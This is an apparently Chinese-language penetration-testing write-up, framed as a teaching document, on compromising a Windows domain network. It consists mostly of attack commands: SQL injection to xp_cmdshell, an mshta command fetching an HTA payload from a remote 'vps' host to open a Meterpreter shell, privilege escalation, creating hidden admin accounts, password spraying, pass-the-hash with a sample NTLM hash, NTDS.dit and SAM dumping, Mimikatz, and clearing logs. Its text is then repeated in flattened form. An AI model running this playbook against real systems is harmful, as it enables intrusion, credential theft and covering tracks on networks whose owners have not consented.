记一次内网渗透
字数 1371 2025-08-18 11:36:36

内网渗透实战教学文档

外网打点阶段

SQL注入获取Shell

  1. 使用SQLMap获取SQL Shell

    sqlmap --sql-shell
    
  2. 检查xp_cmdshell可用性

    select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
    

    返回结果为1表示存在xp_cmdshell

  3. 启用xp_cmdshell

    EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
    
  4. 执行系统命令

    exec master..xp_cmdshell 'whoami'
    

    注意:如果命令无回显,可能是服务器被降权

  5. 获取服务器信息

    select @@servername  -- 返回服务器名
    select host_name()   -- 返回主机名
    

获取操作系统Shell

  1. 使用SQLMap获取OS Shell

    sqlmap -r request.txt --os-shell
    
  2. 目标系统信息

    • Web服务器操作系统: Windows 8.1或2012 R2
    • Web应用技术: ASP.NET, Microsoft IIS 8.5, ASP
    • 后端DBMS: Microsoft SQL Server 2012

权限提升阶段

MSF反弹Shell

  1. 使用mshta反弹Shell

    msf6 exploit(windows/misc/hta_server) > run
    

    在目标执行:

    mshta.exe http://vps:8080/8HGLrG47OUEJ.hta
    
  2. 获取Meterpreter会话

    meterpreter > sysinfo
    

    典型返回:

    Computer: DATABASE
    OS: Windows 2012 R2 (6.3 Build 9600)
    Architecture: x64
    Domain: WEGO
    

提权方法

  1. MSF提权模块

    use post/multi/recon/local_exploit_suggester
    run
    

    可能发现的漏洞:

    • exploit/windows/local/bypassuac_eventvwr
    • exploit/windows/local/ikeext_service
    • exploit/windows/local/ms16_032_secondary_logon_handle_privesc
    • exploit/windows/local/ms16_075_reflection
    • exploit/windows/local/ms16_075_reflection_juicy
  2. CS提权

    • 使用JuicyPotato插件(ms16-075)
    • 使用RottenPotato插件(ms16-075)
  3. 创建管理员用户

    net localgroup Administrators good /add
    

内网信息收集

网络配置信息

ipconfig /all
arp -a

域信息收集

  1. 查询域基本信息

    net config Workstation
    net view /domain
    
  2. 查询域控制器

    net group "domain controllers" /domain
    
  3. 查询域管理员

    net group "domain admins" /domain
    
  4. 查询域用户

    net user /domain
    
  5. 查询域内计算机

    net view
    net group "domain computers" /domain
    

使用BloodHound收集域信息

SharpHound.exe -c all

内网横向移动

代理搭建

  1. FRP代理配置
    • 服务端配置(frps.ini):
      [common]
      bind_addr = 0.0.0.0
      dashboard_user = good
      dashboard_pwd = good 
      dashboard_port = 7500 
      bind_port = 7000
      
    • 客户端配置(frpc.ini):
      [common]
      server_addr =1.1.1.1
      server_port = 7000
      
      [socks5]
      type = tcp
      remote_port = 60000
      plugin = socks5
      use_encryption = true
      use_compression = true
      

批量扫描技术

  1. 端口扫描

    fscan64.exe -h 10.10.10.1/24 -p 445
    
  2. 批量口令碰撞

    fscan -h 10.10.10.5 -p 445 -np -user Administrator -pwd jo6ek6vul3vm,6 -domain WEGO
    
  3. MS17-010漏洞扫描

    Ladon 10.10.10.8/24 MS17010
    

哈希传递攻击(PTH)

  1. 使用smbexec.py

    python3 smbexec.py administrator@10.10.10.3 -hashes :a9398c8a95dbe6801f280d2cfb9c76de
    
  2. 使用CrackMapExec

    crackmapexec smb 10.10.10.0/24 -u Administrator -H a9398c8a95dbe6801f280d2cfb9c76de
    

域控攻击

提取域哈希

  1. 使用NTDSutil提取NTDS.dit

    ntdsutil snapshot "activate instance ntds" create quit quit
    ntdsutil snapshot "mount {GUID}" quit quit
    copy C:\$SNAP_...$\Windows\NTDS\ntds.dit c:\ntds.dit
    
  2. 导出SAM和SYSTEM

    reg save hklm\sam sam.hiv
    reg save hklm\system system.hiv
    
  3. 使用secretsdump.py解析

    python3 secretsdump.py -ntds ntds.dit -system system.hiv LOCAL
    

使用Mimikatz抓取密码

mimikatz.exe "privilege::debug" "lsadump::lsa /patch full" exit >>log.txt

工具推荐

  1. 内网扫描工具

    • fscan: https://github.com/shadow1ng/fscan
    • Ladon: 用于MS17-010扫描
  2. 提权工具

    • JuicyPotato: https://github.com/scanfsec/AggressorCNA
    • Erebus: https://github.com/DeEpinGh0st/Erebus
  3. 哈希传递工具

    • smbexec.py (Impacket)
    • CrackMapExec

关键注意事项

  1. 权限维持

    • 创建隐藏管理员账户
    • 多种方式保持访问权限
  2. 隐蔽性

    • 尽量不使用3389远程桌面
    • 使用加密代理通道
  3. 横向移动策略

    • 优先攻击域控制器
    • 然后攻击运维机器
    • 最后攻击普通工作站
  4. 清理痕迹

    • 删除快照和临时文件
    • 清除日志记录

本教学文档涵盖了从外网打点到内网横向移动的完整流程,重点介绍了各种技术手段和工具的使用方法。实际渗透测试中,请确保获得合法授权并遵守相关法律法规。

内网渗透实战教学文档 外网打点阶段 SQL注入获取Shell 使用SQLMap获取SQL Shell 检查xp_ cmdshell可用性 返回结果为1表示存在xp_ cmdshell 启用xp_ cmdshell 执行系统命令 注意:如果命令无回显,可能是服务器被降权 获取服务器信息 获取操作系统Shell 使用SQLMap获取OS Shell 目标系统信息 Web服务器操作系统: Windows 8.1或2012 R2 Web应用技术: ASP.NET, Microsoft IIS 8.5, ASP 后端DBMS: Microsoft SQL Server 2012 权限提升阶段 MSF反弹Shell 使用mshta反弹Shell 在目标执行: 获取Meterpreter会话 典型返回: 提权方法 MSF提权模块 可能发现的漏洞: exploit/windows/local/bypassuac_ eventvwr exploit/windows/local/ikeext_ service exploit/windows/local/ms16_ 032_ secondary_ logon_ handle_ privesc exploit/windows/local/ms16_ 075_ reflection exploit/windows/local/ms16_ 075_ reflection_ juicy CS提权 使用JuicyPotato插件(ms16-075) 使用RottenPotato插件(ms16-075) 创建管理员用户 内网信息收集 网络配置信息 域信息收集 查询域基本信息 查询域控制器 查询域管理员 查询域用户 查询域内计算机 使用BloodHound收集域信息 内网横向移动 代理搭建 FRP代理配置 服务端配置(frps.ini): 客户端配置(frpc.ini): 批量扫描技术 端口扫描 批量口令碰撞 MS17-010漏洞扫描 哈希传递攻击(PTH) 使用smbexec.py 使用CrackMapExec 域控攻击 提取域哈希 使用NTDSutil提取NTDS.dit 导出SAM和SYSTEM 使用secretsdump.py解析 使用Mimikatz抓取密码 工具推荐 内网扫描工具 fscan: https://github.com/shadow1ng/fscan Ladon: 用于MS17-010扫描 提权工具 JuicyPotato: https://github.com/scanfsec/AggressorCNA Erebus: https://github.com/DeEpinGh0st/Erebus 哈希传递工具 smbexec.py (Impacket) CrackMapExec 关键注意事项 权限维持 创建隐藏管理员账户 多种方式保持访问权限 隐蔽性 尽量不使用3389远程桌面 使用加密代理通道 横向移动策略 优先攻击域控制器 然后攻击运维机器 最后攻击普通工作站 清理痕迹 删除快照和临时文件 清除日志记录 本教学文档涵盖了从外网打点到内网横向移动的完整流程,重点介绍了各种技术手段和工具的使用方法。实际渗透测试中,请确保获得合法授权并遵守相关法律法规。